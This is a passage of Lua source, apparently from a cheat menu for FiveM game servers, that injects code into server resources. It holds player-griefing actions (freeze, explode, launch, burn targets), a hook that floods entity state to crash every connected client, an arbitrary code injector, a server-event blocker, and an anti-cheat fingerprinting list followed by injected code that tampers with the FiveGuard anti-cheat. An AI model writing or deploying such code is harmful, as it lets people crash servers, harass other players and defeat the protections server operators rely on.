                    local offsetY =  math.cos(heading) * math.cos(pitch) * distanceBehind
                    local offsetZ =  math.sin(pitch) * distanceBehind
                    SafeRunNative(SetCamCoord, cam, coords.x + offsetX, coords.y + offsetY, coords.z + baseHeight + offsetZ)
                    SafeRunNative(PointCamAtEntity, cam, tgtPed, 0.0, 0.0, 0.8, true)
                    tgtPed = GetPlayerPed(GetPlayerFromServerId(%d))
                end
                SafeRunNative(ClearFocus)
                SafeRunNative(RenderScriptCams, false, false, 0, true, false)
                SafeRunNative(DestroyCam, cam, false)
            end)
        ]], serverId, serverId))
    elseif actionName == 'Freeze' then
        injectCode('monitor', string.format([[
            if _G.SetClient_RunningFreezePlayer then return end
            _G.SetClient_RunningFreezePlayer = true
            SafeRunNative(SetEntityVisible, PlayerPedId(), false, false)
            local selfPed = PlayerPedId()
            local setCoords = GetEntityCoords(selfPed)
            local setHeading = GetEntityHeading(selfPed)
            SafeRunNative(CreateThread, function()
                local player = GetPlayerFromServerId(%d)
                local targetPed = player > 0 and GetPlayerPed(player)
                if targetPed and targetPed > 0 and targetPed ~= PlayerPedId() then
                    local targetEntity = GetVehiclePedIsIn(targetPed, false)
                    if not targetEntity or targetEntity <= 0 then targetEntity = targetPed end
                    while _G.SetClient_RunningFreezePlayer do
                        SafeRunNative(AttachEntityToEntityPhysically, PlayerPedId(), targetEntity, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 999999999, true, true, true, true, 1)
                        Wait(0)
                    end
                end
                selfPed = PlayerPedId()
                SafeRunNative(ClearPedTasksImmediately, selfPed)
                Wait(50)
                SafeRunNative(DetachEntity, selfPed, true, true)
                SafeRunNative(FreezeEntityPosition, selfPed, false)
                SafeRunNative(SetEntityCoords, selfPed, setCoords.x, setCoords.y, setCoords.z, false, false, false, true)
                SafeRunNative(SetEntityHeading, selfPed, setHeading)
                SafeRunNative(SetEntityVisible, selfPed, true, false)
                Wait(100)
                _G.SetClient_RunningFreezePlayer = false
            end)
        ]], serverId))
    elseif actionName == 'Explode' then
        injectCode('any', string.format([[
            local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
            if DoesEntityExist(targetPed) then
                local coords = GetEntityCoords(targetPed) + vec3(0.0, 0.0, 0.2)
                ShootBullet('self', GetHashKey('WEAPON_RPG'), coords, coords + vec3(0.0, 0.0, 3.0))
            end
        ]], serverId))
    elseif actionName == 'Launch' then
        injectCode('monitor', string.format([[
            local player = GetPlayerFromServerId(%d)
            local targetPed = player > 0 and GetPlayerPed(player)
            if targetPed and targetPed > 0 then
                SafeRunNative(CreateThread, function()
                    local vehicleHash = GetHashKey('adder')
                    RequestModel(vehicleHash)
                    local setTimer = GetGameTimer()
                    while not HasModelLoaded(vehicleHash) do
                        Wait(0)
                        if (GetGameTimer() - setTimer) > 5000 then return end
                    end
                    local selfCoords = GetEntityCoords(PlayerPedId())
                    local vehicle = SafeRunNative(CreateVehicle, vehicleHash, selfCoords.x, selfCoords.y, selfCoords.z, 0.0, true, false)
                    SafeRunNative(SetModelAsNoLongerNeeded, vehicleHash)
                    if not vehicle or vehicle <= 0 then return end
                    SafeRunNative(SetEntityInvincible, vehicle, true)
                    SafeRunNative(SetEntityVisible, vehicle, false)
                    local underCoords = GetOffsetFromEntityInWorldCoords(targetPed, 0.0, 0.0, -1.5)
                    SetCoords(vehicle, underCoords)
                    SafeRunNative(FreezeEntityPosition, vehicle, false)
                    SafeRunNative(SetEntityVelocity, vehicle, 0.0, 0.0, 0.0)
                    SafeRunNative(ApplyForceToEntity, vehicle, 1, 0.0, 0.0, 250.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true)
                    SafeRunNative(ApplyForceToEntityCenterOfMass, targetPed, 1, 0.0, 0.0, 150.0, false, true, true, false)
                    Wait(1200)
                    SafeRunNative(DeleteEntity, vehicle)
                end)
            end
        ]], serverId))
    elseif actionName == 'Fling' then
        injectCode('monitor', string.format([[
            local player = GetPlayerFromServerId(%d)
            local targetPed = player > 0 and GetPlayerPed(player)
            if targetPed and targetPed > 0 then
                SafeRunNative(CreateThread, function()
                    local vehicleHash = GetHashKey('adder')
                    RequestModel(vehicleHash)
                    local setTimer = GetGameTimer()
                    while not HasModelLoaded(vehicleHash) do
                        Wait(0)
                        if (GetGameTimer() - setTimer) > 5000 then return end
                    end
                    local selfCoords = GetEntityCoords(PlayerPedId())
                    local vehicle = SafeRunNative(CreateVehicle, vehicleHash, selfCoords.x, selfCoords.y, selfCoords.z, 0.0, true, false)
                    SafeRunNative(SetModelAsNoLongerNeeded, vehicleHash)
                    if not vehicle or vehicle <= 0 then return end
                    SafeRunNative(SetEntityInvincible, vehicle, true)
                    SafeRunNative(SetEntityVisible, vehicle, false)
                    local underCoords = GetOffsetFromEntityInWorldCoords(targetPed, 0.0, 0.0, -1.5)
                    SetCoords(vehicle, underCoords)
                    SafeRunNative(FreezeEntityPosition, vehicle, false)
                    SafeRunNative(SetEntityVelocity, vehicle, 0.0, 0.0, 0.0)
                    SafeRunNative(ApplyForceToEntity, vehicle, 1, 0.0, 0.0, 400.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true)
                    Wait(1200)
                    SafeRunNative(DeleteEntity, vehicle)
                end)
            end
        ]], serverId))
    elseif actionName == 'Burn' then
        injectCode('any', string.format([[
            local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
            if DoesEntityExist(targetPed) then
                local coords = GetEntityCoords(targetPed)
                SafeRunNative(StartScriptFire, coords.x, coords.y, coords.z, 3, 1.0)
            end
        ]], serverId))
    end
end)

CreateHook('FcCrashEveryone', function()
    if GetResourceState('prp-bridge') == 'started' then
        injectCode('prp-bridge', [[
            _G.GetEntityFromStateBagName = function() return 0 end
            _G.CreateObject = function() return 0 end

            CreateTrackedThread('JunkieCrashEveryone', {
                thread = function(self)
                    while self.isActive do
                        local setObjects = {}
                        local idx = GetGameTimer()..'_'..math.random(999999)

                        for i = 1, 600 do
                            local key = 'obj:'..idx..':'..i
                            setObjects[key] = {
                                [1] = key,
                                [2] = 'p_spinning_anus_s',
                                [3] = 0,
                                [4] = { x = 0.0, y = 0.0, z = 0.0 },
                                [5] = { x = 0.0, y = 0.0, z = 0.0 },
                                [6] = 1,
                                [7] = { true, true, false, false },
                                [8] = {}
                            }
                        end

                        local targetEntity
                        local playerId = PlayerId()
                        local entities = {}
                        local peds     = GetGamePool('CPed')
                        local objects  = GetGamePool('CObject')
                        local vehicles = GetGamePool('CVehicle')

                        for i = 1, #peds     do entities[#entities + 1] = peds[i]     end
                        for i = 1, #objects  do entities[#entities + 1] = objects[i]  end
                        for i = 1, #vehicles do entities[#entities + 1] = vehicles[i] end

                        for i = 1, #entities do
                            local entity = entities[i]
                            if NetworkGetEntityIsNetworked(entity) and NetworkGetEntityOwner(entity) ~= playerId then
                                targetEntity = entity
                                break
                            end
                        end

                        if targetEntity then
                            _G.SetClient_LastUsedCachedEntity = targetEntity
                            local setEntity = SafeRunNative(Entity, targetEntity)
                            SafeRunNative(setEntity.state.set, setEntity, 'VehTempAttachObjects', setObjects, true)
                        end

                        Wait(1000)
                    end
                end,
                onRemove = function(self)
                    local targetEntity = _G.SetClient_LastUsedCachedEntity
                    if targetEntity and NetworkGetEntityIsNetworked(targetEntity) and NetworkGetEntityOwner(targetEntity) ~= PlayerId() then
                        local setEntity = SafeRunNative(Entity, targetEntity)
                        SafeRunNative(setEntity.state.set, setEntity, 'VehTempAttachObjects', {}, true)
                    end
                end
            })
        ]])
    elseif GetResourceState('lation_ui') == 'started' then
        injectCode('lation_ui', [[
            _G.CreateObject = function() end
            local model = 'p_spinning_anus_s'
            local props = {}
            for i = 1, 600 do
                props[i] = {
                    model = model,
                    coords = vec3(0.0, 0.0, 0.0),
                    pos = vec3(0.0, 0.0, 0.0),
                    rot = vec3(0.0, 0.0, 0.0),
                    rotOrder = 0,
                }
            end
            SafeRunNative(CreateThread, function()
                SafeRunNative(LocalPlayer.state.set, LocalPlayer.state, 'lation_ui:progressProps', props, true)
                Wait(1000)
                SafeRunNative(LocalPlayer.state.set, LocalPlayer.state, 'lation_ui:progressProps', nil, true)
            end)
        ]])
    elseif GetResourceState('prism_uipack') == 'started' then
        injectCode('prism_uipack', [[
            _G.CreateObject = function() end
            local setProps = {}
            local propData = { model = 'p_spinning_anus_s', pos = {}, rot = {}, bone = 0 }
            for i = 1, 600 do setProps[#setProps + 1] = propData end
            SafeRunNative(LocalPlayer.state.set, LocalPlayer.state, 'prism:progressProps', setProps, true)
            SafeRunNative(LocalPlayer.state.set, LocalPlayer.state, 'prism:progressProps', propData, true)
        ]])
    else
        showNotify('No supported resource found!', 'error')
    end
end)

CreateHook('ShowPropInput', function(currentValue)
    if propInputOpen then return end
    if menuOpen then return end
    propInputOpen = true
    injectCode('monitor', '_G.SetClient_PropInputActive = true')
    MachoExecuteDuiScript(Dui, 'window.hoveringText.hideList();')

    showInput('Enter Prop Name', currentValue or '', function(result)
        propInputOpen = false
        injectCode('monitor', '_G.SetClient_PropInputActive = false')
        MachoExecuteDuiScript(Dui, 'window.hoveringText.showList();')
        if result and result ~= '' then
            injectCode('monitor', string.format('_G.SetClient_CustomFcSpawnProp = %q', result))
        end
    end)
end)

local function bindItemToKey(item, keyName)
    itemKeybinds[keyName] = nil
    for k, v in pairs(itemKeybinds) do
        if v == item then itemKeybinds[k] = nil end
    end

    itemKeybinds[keyName] = item

    local binds = {}
    for k, v in pairs(itemKeybinds) do
        binds[#binds + 1] = { label = v.label or '?', key = k }
    end
    SendSvelte('updateKeybinds', { KeyBinds = binds })
end

local function startItemKeybindCapture(item)
    local currentKey = ''
    for k, v in pairs(itemKeybinds) do
        if v == item then currentKey = k break end
    end

    setKeybind('Bind: ' .. (item.label or 'item'), function()
        defaultBind = currentKey
        canCancel = true

        onConfirm = function(key) 
            bindItemToKey(item, key) 
        end
    end)
end

local function isSelectable(item)
    return item
    and item.type ~= "divider"
    and not item.hidden
    and item.visible ~= false
end

local function wrapIndex(index, size)
    return ((index - 1) % size) + 1
end

local function findNextSelectable(menu, startIndex, direction)
    local size = #menu
    if size == 0 then
        return startIndex
    end

    local index = startIndex

    for _ = 1, size do
        index = wrapIndex(index, size)

        if isSelectable(menu[index]) then
            return index
        end

        index = index + direction
    end

    return startIndex
end

local function refreshMenu()
    createIndex()
    setCurrent()
end

local function createActiveIndex(direction)
    local size = menuConfig and #menuConfig or 0
    if size == 0 then
        return
    end

    activeIndex = findNextSelectable(
        menuConfig,
        activeIndex + (direction > 0 and 1 or -1),
        direction
    )

    setCurrent()
end

function createIndex()
    if not menuConfig or #menuConfig == 0 then
        return
    end

    activeIndex = findNextSelectable(menuConfig, activeIndex, 1)
end

local function createConfirm(item, value)
    local callback = item and item.onConfirm

    if item and item.autoConfirm and type(callback) == "function" then
        callback(value)
    end
end

local function createSlider(item, direction)
    local step = item.step or item.stepSize or 1
    local min = tonumber(item.min) or 0
    local max = tonumber(item.max) or 100
    local value = tonumber(item.value) or 0

    item.value = math.min(max, math.max(min, value + direction * step))

    createConfirm(item, item.value)
end

local function createScroll(item, direction)
    local options = item.options
    local count = options and #options or 0

    if count == 0 then
        return
    end

    item.selected = wrapIndex(
        (tonumber(item.selected) or 1) + direction,
        count
    )

    createConfirm(item, options[item.selected])
end

local function hasType(itemType, target)
    if itemType == target then
        return true
    end

    if type(itemType) == "table" then
        for i = 1, #itemType do
            if itemType[i] == target then
                return true
            end
        end
    end

    return false
end

local function createValue(item, direction)
    if not item then
        return
    end

    if hasType(item.type, "slider") then
        return createSlider(item, direction)
    end

    if hasType(item.type, "scroll") then
        return createScroll(item, direction)
    end
end

local function createOptions(control, item)
    if not item then
        return
    end

    createValue(item, control == "ArrowRight" and 1 or -1)
    setCurrent()
end

local confirmHandlers = {
    checkbox = function(item)
        item.onConfirm(item.checked)
    end,

    slider = function(item)
        item.onConfirm(item.value)
    end,

    scroll = function(item)
        item.onConfirm(
            item.options and item.options[item.selected or 1]
        )
    end,

    button = function(item)
        item.onConfirm()
    end
}

local function fireConfirm(item, itemType)
    local callback = item.onConfirm

    if type(callback) ~= "function" then
        return
    end

    local handler = confirmHandlers[itemType]

    if handler then
        handler(item)
    end
end

local function sendTabs(tabs)
    if not Dui or not tabs then
        return
    end

    local names = table.create and table.create(#tabs, 0) or {}

    for i = 1, #tabs do
        names[i] = tabs[i].name
    end

    MachoSendDuiMessage(Dui, json.encode({
        action = "setTabs",
        tabs = names
    }))

    MachoSendDuiMessage(Dui, json.encode({
        action = "setTabIndex",
        index = currentTabIndex
    }))
end

local function loadTab(tabIndex, savedIndex)
    local tab = currentTabs and currentTabs[tabIndex + 1]

    if not tab then
        return
    end

    currentTabIndex = tabIndex
    menuConfig = tab.submenu or {}

    activeIndex = math.min(
        savedIndex or 1,
        math.max(#menuConfig, 1)
    )

    refreshMenu()
end

local function createEnter(item)
    if not item then
        return
    end

    local itemType = item.type

    if itemType == "submenu" then
        nestedMenus[#nestedMenus + 1] = {
            index = activeIndex,
            menu = menuConfig,
            label = item.label
        }

        if item.submenu then
            menuConfig = item.submenu
            activeIndex = 1
            currentTabs = nil

            refreshMenu()
            return
        end

        local tabs = item.tabs

        if tabs and #tabs > 0 then
            currentTabs = tabs

            loadTab(0, 1)
            sendTabs(tabs)
        end

        return
    end

    if type(itemType) == "table" then
        if hasType(itemType, "checkbox") then
            item.checked = not item.checked

            if menuOpen then
                setCurrent()
            end
        end

        for i = 1, #itemType do
            fireConfirm(item, itemType[i])
        end

        return
    end

    if itemType == "checkbox" then
        item.checked = not item.checked

        if menuOpen then
            setCurrent()
        end
    end

    fireConfirm(item, itemType)
end

local function createBackspace()
    local depth = #nestedMenus

    if depth == 0 then
        toggleMenu(false)
        return
    end

    local previous = nestedMenus[depth]
    nestedMenus[depth] = nil

    menuConfig = previous.menu
    activeIndex = previous.index or 1

    if depth == 1 then
        currentTabIndex = 0
        currentTabs = nil

        if Dui then
            MachoSendDuiMessage(Dui, json.encode({
                action = "resetTabs"
            }))
        end
    end

    refreshMenu()
end

local function createTabs(control)
    local count = currentTabs and #currentTabs or 0

    if count == 0 then
        return
    end

    currentTabIndex = (
        currentTabIndex +
        (control == "Q" and -1 or 1)
    ) % count

    loadTab(currentTabIndex, 1)

    if Dui then
        MachoSendDuiMessage(Dui, json.encode({
            action = "setTabIndex",
            index = currentTabIndex
        }))
    end
end

MachoOnKeyDown(function(key)
    local setKey = KeyMap[tonumber(key) or key] or tostring(key)

    if setKey == 'Control' or setKey == 'LeftControl' or setKey == 'RightControl' then
        ctrlHeld = true
        return
    end

    if setKey == 'Shift' or setKey == 'LeftShift' or setKey == 'RightShift' then
        shiftHeld = true
        return
    end

    local ctrl = ctrlHeld
    ctrlHeld = false
    local shift = shiftHeld

    if keybindActive then
        if setKey == 'Enter' then
            if keybindPending ~= '' then
                local captured = keybindPending
                local cb = keybindOnConfirm
                keybindActive = false
                settingItemKeybind = false
                keybindPending = ''
                keybindOnConfirm = nil
                keybindOnCancel = nil
                SendSvelte('hideInputPrompt', {})
                toggleNuiFocus(false)
                if cb then cb(captured) end
            end
        elseif setKey == 'Escape' then
            if keybindCanCancel then
                local cb = keybindOnCancel
                keybindActive = false
                settingItemKeybind = false
                keybindPending = ''
                keybindOnConfirm = nil
                keybindOnCancel = nil
                SendSvelte('hideInputPrompt', {})
                toggleNuiFocus(false)
            end
        elseif setKey ~= 'Shift' and setKey ~= 'Control' and setKey ~= 'Alt' and setKey ~= 'Tab' then
            keybindPending = setKey
            SendSvelte('updateInputPrompt', { title = keybindTitle, value = keyLabels[tonumber(key) or key] or setKey })
        end
        return
    end


    if inputActive then
        if setKey == 'Enter' then
            local val = inputBuffer
            inputActive = false
            setInputActive = false
            inputBuffer = ''
            SendSvelte('hideInputPrompt', {})
            if inputCallback then inputCallback(val) end
            toggleNuiFocus(false)
        elseif setKey == 'Escape' then
            inputActive = false
            setInputActive = false
            inputBuffer = ''
            inputCallback = nil
            SendSvelte('hideInputPrompt', {})
            toggleNuiFocus(false)
        elseif setKey == 'Backspace' then
            if #inputBuffer > 0 then
                inputBuffer = inputBuffer:sub(1, -2)
                SendSvelte('updateInputPrompt', { title = inputTitle, value = inputBuffer })
            end
        elseif ctrl and setKey == 'V' then
            local clip = MachoGetClipboardText()
            if clip and #clip > 0 then
                inputBuffer = inputBuffer .. clip
                SendSvelte('updateInputPrompt', { title = inputTitle, value = inputBuffer })
            end
        else
            local char = getInputChar(key, shift)
            if char then
                inputBuffer = inputBuffer .. char
                SendSvelte('updateInputPrompt', { title = inputTitle, value = inputBuffer })
            end
        end
        return
    end

    if setKey == MenuKey then
        toggleMenu(not menuOpen)
        return
    end


    local boundItem = itemKeybinds[setKey]
    if boundItem then
        createEnter(boundItem)
        return
    end

    if not menuOpen then return end

    local activeData = menuConfig[activeIndex]

    if key == 0x28 or key == 0x26 then 
        createActiveIndex(key == 0x28 and 1 or -1)
    elseif key == 0x27 or key == 0x25 then 
        createOptions(key == 0x27 and 'ArrowRight' or 'ArrowLeft', activeData)
    elseif key == 0x0D then 
        createEnter(activeData)
    elseif key == 0x08 then 
        createBackspace()
    elseif key == 0x51 then 
        createTabs('Q')
    elseif key == 0x45 then 
        createTabs('E')
    elseif key == 0x73 then
        if activeData and activeData.label then
            startItemKeybindCapture(activeData)
        end
    end
end)

MachoOnKeyUp(function(key)
    local setKey = KeyMap[tonumber(key) or key] or tostring(key)

    if setKey == 'Shift' or setKey == 'LeftShift' or setKey == 'RightShift' then
        shiftHeld = false
    end
end)

local setPlayers = {}
function getPlayers(coords, maxDistance)
    local nearby = {}
    local selfPed = PlayerId()
    local selfServerId = GetPlayerServerId(selfPed)

    nearby[#nearby + 1] = {
        name = GetPlayerName(selfPed) .. " (Self)",
        serverId = selfServerId
    }

    for _, serverId in ipairs(GetActivePlayers() or {}) do
        if serverId ~= selfPed then
            local ped = GetPlayerPed(serverId)
            if DoesEntityExist(ped) then
                local setCoords = GetEntityCoords(ped)

                if #(coords - setCoords) <= maxDistance then
                    nearby[#nearby + 1] = {
                        name = GetPlayerName(serverId),
                        serverId = GetPlayerServerId(serverId)
                    }
                end
            end
        end
    end

    return nearby
end

function getSpectators()
    local spectators = {}
    local selfId = PlayerId()
    local selfCoords = GetEntityCoords(PlayerPedId())

    if math.abs(selfCoords.x) <= 1.0 and math.abs(selfCoords.y) <= 1.0 then
        return spectators
    end

    for _, player in ipairs(GetActivePlayers() or {}) do
        if player ~= selfId then
            local ped = GetPlayerPed(player)

            if DoesEntityExist(ped) and not IsEntityVisible(ped) then
                local coords = GetEntityCoords(ped)
                local dx = math.abs(coords.x - selfCoords.x)
                local dy = math.abs(coords.y - selfCoords.y)
                local dz = selfCoords.z - coords.z

                if dx <= 15.0 and dy <= 15.0 and dz >= 10.0 then
                    spectators[#spectators + 1] = {
                        label = GetPlayerName(player) or '?',
                        value = tostring(GetPlayerServerId(player))
                    }
                end
            end
        end
    end

    return spectators
end

function getSelectedPlayers()
    local coords = GetEntityCoords(PlayerPedId())
    local players = getPlayers(coords, 350.0)
    for _, player in ipairs(players) do
        setPlayers[tonumber(player.serverId)] = true
    end
end

function GetSelectedPlayer()
    for k, v in pairs(setPlayers) do
        if v then return tonumber(k) end
    end
    return nil
end

local function TeleportToCoords(x, y, z)
    injectCode('monitor', ([[
        local function FindZForCoords(x, y)
            local found = true
            local START_Z = 1500
            local z = START_Z
            while found and z > 0 do
                local _found, _z = GetGroundZAndNormalFor_3dCoord(x + 0.0, y + 0.0, z - 1.0)
                if _found then
                    z = _z + 0.0
                end
                found = _found
                Wait(0)
            end
            if z == START_Z then return nil end
            return z + 0.0
        end

        local function FindZForCoordsRetry(x, y)
            local finalZ
            for i = 1, 10 do
                finalZ = FindZForCoords(x, y)
                if finalZ ~= nil and finalZ ~= 0.0 then
                    return finalZ
                end
                Wait(250)
            end
            return nil
        end

        local x, y, z = %f, %f, %f
        local function TeleportToCoords(x, y, z)
            local ped = PlayerPedId()
            DoScreenFadeOut(250)
            while not IsScreenFadedOut() do Wait(0) end
            SafeRunNative(SetPedCoordsKeepVehicle, ped, x, y, 100.0)
            while IsEntityWaitingForWorldCollision(ped) do Wait(100) end
            if z == 0 or z == 0.0 then
                local groundZ = FindZForCoordsRetry(x, y)
                if groundZ ~= nil then z = groundZ else z = 100.0 end
            end
            SafeRunNative(SetPedCoordsKeepVehicle, ped, x, y, z)
            DoScreenFadeIn(250)
        end

        TeleportToCoords(x, y, z)
    ]]):format(x, y, z))
end

local function Debug(...)
    local args = {...}
    for i, v in ipairs(args) do
        args[i] = tostring(v)
    end

    print('[^5Junkie^7] [^3Info^7] - '..table.concat(args, ' '))
end

local logServerEvents = false
local blockServerEvents = false
local serverEventHooked = false
local serverEventSeen = {}
local SERVER_EVENT_LOG_LIMIT = 3

local function installServerEventHook()
    if serverEventHooked then
        return true
    end

    if type(MachoAddTriggerServerEventCallback) ~= 'function' then
        showNotify('This build has no server event hook', 'error')
        return false
    end

    MachoAddTriggerServerEventCallback(function(event, data, size)
        if logServerEvents then
            local seen = (serverEventSeen[event] or 0) + 1
            serverEventSeen[event] = seen

            if seen <= SERVER_EVENT_LOG_LIMIT then
                Debug('Server Event:', event, 'size=' .. tostring(size), tostring(data))
            elseif seen == SERVER_EVENT_LOG_LIMIT + 1 then
                Debug('Server Event:', event, '- repeating, silenced')
            end
        end

        return blockServerEvents, false
    end)

    serverEventHooked = true
    return true
end

local function runTrigger(resource, code)
    if not code or code:gsub('%s', '') == '' then
        showNotify('Nothing to run', 'error')
        return
    end

    resource = (resource and resource ~= '') and resource or 'any'

    local chunk
    local func, args = nil, nil

    if not code:find('[\n;]') then
        func, args = code:match('^%s*([%w_%.:]+)%s*%((.*)%)%s*$')
    end

    if func then
        if args and args:gsub('%s', '') ~= '' then
            chunk = 'SafeRunNative(' .. func .. ', ' .. args .. ')'
        else
            chunk = 'SafeRunNative(' .. func .. ')'
        end
    else
        chunk = 'SafeRunNative(function()\n' .. code .. '\nend)'
    end

    injectCode(resource, chunk)

    showNotify('Ran trigger', 'success')
end

local function dumpResources()
    local total = GetNumResources() or 0
    local started = 0

    Debug('--- Resources (' .. tostring(total) .. ') ---')

    for i = 0, total - 1 do
        local name = GetResourceByFindIndex(i)

        if name and GetResourceState(name) == 'started' then
            started = started + 1
            Debug(name .. (MachoResourceInjectable(name) and ' [injectable]' or ''))
        end
    end

    showNotify(('Dumped %d started resources to F8'):format(started), 'info')
end

-- AC Detection
local function detectAntiCheat(verbose)
    local numResources = GetNumResources()
    local detectedName, detectedAc

    local fileSignatures = {
        { files = { 'ai_module_fg-obfuscated.lua' }, name = 'FiveGuard' },
        { files = { 'source/client/crasher.lua', 'source/client/ocr.lua' }, name = 'ReasonAC' },
        { files = { 'client/injections.lua', 'client/menu.lua' }, name = 'GreekAC' },
        { files = { 'fini_events.js', 'fini_events.lua' }, name = 'FiniAC' },
        { files = { 'resource/waveshield.js' }, name = 'WaveShield' },
        { files = { 'c_config.lua', 'client/ligma.lua' }, name = 'mAC (custom)' },
        { files = { 'src/fire-client.lua', 'src/fire-menu.lua' }, name = 'FireAC' },
        { files = { 'anvil.lua', 'client.lua' }, name = 'AnvilAC' },
        { files = { 'client/cl_crypto.lua', 'client/cl_main.lua' }, name = 'PegasusAC' },
        { files = { 'src/client/main.lua', 'src/include/client.lua' }, name = 'ElectronAC' }
    }

    local reaperFiles = {
        'patches/resource_drc_uwucafe.lua',
        'patches/resource_es_extended.lua',
        'patches/resource_lb-phone.lua',
        'patches/resource_monitor.lua',
        'patches/resource_pickle_rental.lua',
        'patches/resource_qb-core.lua',
        'patches/resource_wasabi_bridge.lua',
        'patches/resource_wasabi_mining.lua',
        'patches/resource_xradio.lua'
    }

    local namePatterns = {
        { match = function(lower) return lower:sub(1,7) == 'chubsac' end, name = 'Chubs AC' },
        { match = function(lower) return lower:sub(1,7) == 'drillac' end, name = 'Drill AC' },
        { match = function(lower) return lower:sub(-10) == 'likizao_ac' end, name = 'Likizao AC' },
        { match = function(lower) return lower == 'prp-rpc' end, name = 'Prodigy AC' },
        { match = function(lower) return lower == 'srp-anticheat' end, name = 'Springbank AC' },
        { match = function(lower) return lower == 'ec_ac' end, name = 'Eagle AC' },
        { match = function(lower) return lower == 'cyberanticheat' end, name = 'CyberAnticheat' },
        { match = function(lower) return lower == 'pl_protect' end, name = 'PL Protect' },
        { match = function(lower) return lower == 'mqcu' end, name = 'MQCU' },
        { match = function(lower) return lower == 'thnac' end, name = 'Thn AC' },
        { match = function(lower) return lower == 'qb-anticheat' end, name = 'QB AntiCheat' },
        { match = function(lower) return lower == 'nb_anticheat' end, name = 'NB AntiCheat' },
        { match = function(lower) return lower == 'putin' end, name = 'Putin AC' },
        { match = function(lower) return lower == 'venus_anticheat' or lower == 'venusac' end, name = 'Venus AC' },
        { match = function(lower) return lower == 'anticheese' or lower == 'anticheese-anticheat' end, name = 'AntiCheese' },
        { match = function(lower) return lower == 'anticheese-anticheat-master' or lower == 'anticheese-master' end, name = 'AntiCheese Master' },
        { match = function(lower) return lower == 'wx-anticheat' end, name = 'WX AntiCheat' },
        { match = function(lower) return lower == 'wx_anticheat' end, name = 'WX AntiCheat' },
        { match = function(lower) return lower == 'somis_anticheat' or lower == 'somis-anticheat' end, name = 'Somis AntiCheat' },
        { match = function(lower) return lower == 'clownguard' end, name = 'ClownGuard' },
        { match = function(lower) return lower == 'oltest' end, name = 'OLTest' },
        { match = function(lower) return lower == 'chocohax' end, name = 'ChocoHax' },
        { match = function(lower) return lower == 'esxac' end, name = 'ESX AC' },
        { match = function(lower) return lower == 'tigoac' end, name = 'Tigo AC' },
        { match = function(lower) return lower == 'tiagoac' end, name = 'Tiago AC' },
        { match = function(lower) return lower == 'titanac' end, name = 'Titan AC' },
        { match = function(lower) return lower == 'versusac' or lower == 'versusac-ocr' end, name = 'Versus AC' },
        { match = function(lower) return lower == 'furiousanticheat' end, name = 'Furious AC' },
        { match = function(lower) return lower == 'mzshieldd' end, name = 'MZShield' },
        { match = function(lower) return lower:find('kb-anticheat') end, name = 'KB AntiCheat' },
        { match = function(lower) return lower:find('pma-anticheat') end, name = 'PMA AntiCheat' },
        { match = function(lower) return lower:find('drizzy') end, name = 'Drizzy AC' }
    }

    for i = 0, numResources - 1 do
        local resourceName = GetResourceByFindIndex(i)

        if not resourceName then goto continue end

        local lower = string.lower(resourceName)

        for _, sig in ipairs(fileSignatures) do
            local ok = true
            for _, f in ipairs(sig.files) do
                if not LoadResourceFile(resourceName, f) then ok = false break end
            end
            if ok then
                detectedName, detectedAc = resourceName, sig.name
                break
            end
        end

        if detectedAc then break end

        for _, f in ipairs(reaperFiles) do
            if LoadResourceFile(resourceName, f) then
                local isPro = GetConvar('reaper_pro_addon_enabled', 'false') == 'true'
                detectedName = resourceName
                detectedAc = isPro and 'ReaperV4 Pro' or 'ReaperV4'
                break
            end
        end

        if detectedAc then break end
        
        local hasPamLua  = LoadResourceFile(resourceName, 'pam.obf.lua') or LoadResourceFile(resourceName, 'dist/pam.obf.lua')
        local hasPamJS   = LoadResourceFile(resourceName, 'pam.obf.js')  or LoadResourceFile(resourceName, 'dist/pam.obf.js')
        local hasPamHTML = LoadResourceFile(resourceName, 'dist/pam.html')

        if (hasPamLua and hasPamJS) or (hasPamLua and hasPamHTML) then
            detectedName, detectedAc = resourceName, 'PhoenixAC'
            break
        end

        for _, pat in ipairs(namePatterns) do
            local ok, res = pcall(pat.match, lower)
            if ok and res then
                detectedName, detectedAc = resourceName, pat.name
                break
            end
        end

        if detectedAc then break end

        ::continue::
    end

    -- fallback: if file scan missed it, check direct resource state for known ACs
    if not detectedAc then
        local stateChecks = {
            { 'ReaperV4',         'ReaperV4'     },
            { 'fiveguard',        'FiveGuard'    },
            { 'screenshotter',    'Screenshotter' },
            { 'anticheat',        'AntiCheat'    },
            { 'bac',              'BAC'          },
            { 'badger_anticheat', 'Badger AC'    },
            { 'WZ_Anticheat',     'WZ AC'        },
            { 'mythic_anticheat', 'Mythic AC'    },
            { 'exploit_guard',    'ExploitGuard' },
        }
        for _, v in ipairs(stateChecks) do
            if GetResourceState(v[1]) == 'started' then
                detectedName, detectedAc = v[1], v[2]
                break
            end
        end
    end

    return detectedName, detectedAc
end

local ServerInfo = {
    endpoint = nil,
    ip = nil,
    port = nil,
    name = nil,
    cached = false
}

local function parseServerEndpoint()
    local endpoint = GetCurrentServerEndpoint()
    if not endpoint or endpoint == '' then
        return nil, nil, endpoint or 'unknown'
    end
    
    local ip, port = endpoint:match('([^:]+):(%d+)')
    return ip, port, endpoint
end

local function initializeServerInfo()
    if ServerInfo.cached then
        return ServerInfo
    end

    local ip, port, endpoint = parseServerEndpoint()

    ServerInfo.endpoint = endpoint
    ServerInfo.ip = ip or 'unknown'
    ServerInfo.port = port or '0'
    ServerInfo.name = endpoint
    ServerInfo.cached = true

    return ServerInfo
end

initializeServerInfo()

-- Scan For AC
local name, ac = detectAntiCheat(false)

if ac then
    Debug('Detected Anti-Cheat:', ac, 'in resource', name)
    showNotify(('Detected Anti-Cheat: %s (Resource: %s)'):format(ac, name), 'info')
    if ac == 'FiveGuard' then
        MachoInjectResource2(3, name, [[ 
                pcall(function()
                local _, w = debug.getupvalue(EnableAllControlActions, 1)
                local _, M = debug.getupvalue(w[17], 1)
                local _, env = debug.getupvalue(M.h, 1)
                if env then env = nil end

                local function getEventHandlers()
                    local i = 1
                    while true do
                        local name, val = debug.getupvalue(AddEventHandler, i)
                        if not name then break end
                        if name == "eventHandlers" and type(val) == "table" then
                            return val
                        end
                        i = i + 1
                    end
                end

                local seen = {}
                local function scan(t)
                    if type(t) ~= "table" or seen[t] then return end
                    seen[t] = true
                    for k,v in pairs(t) do
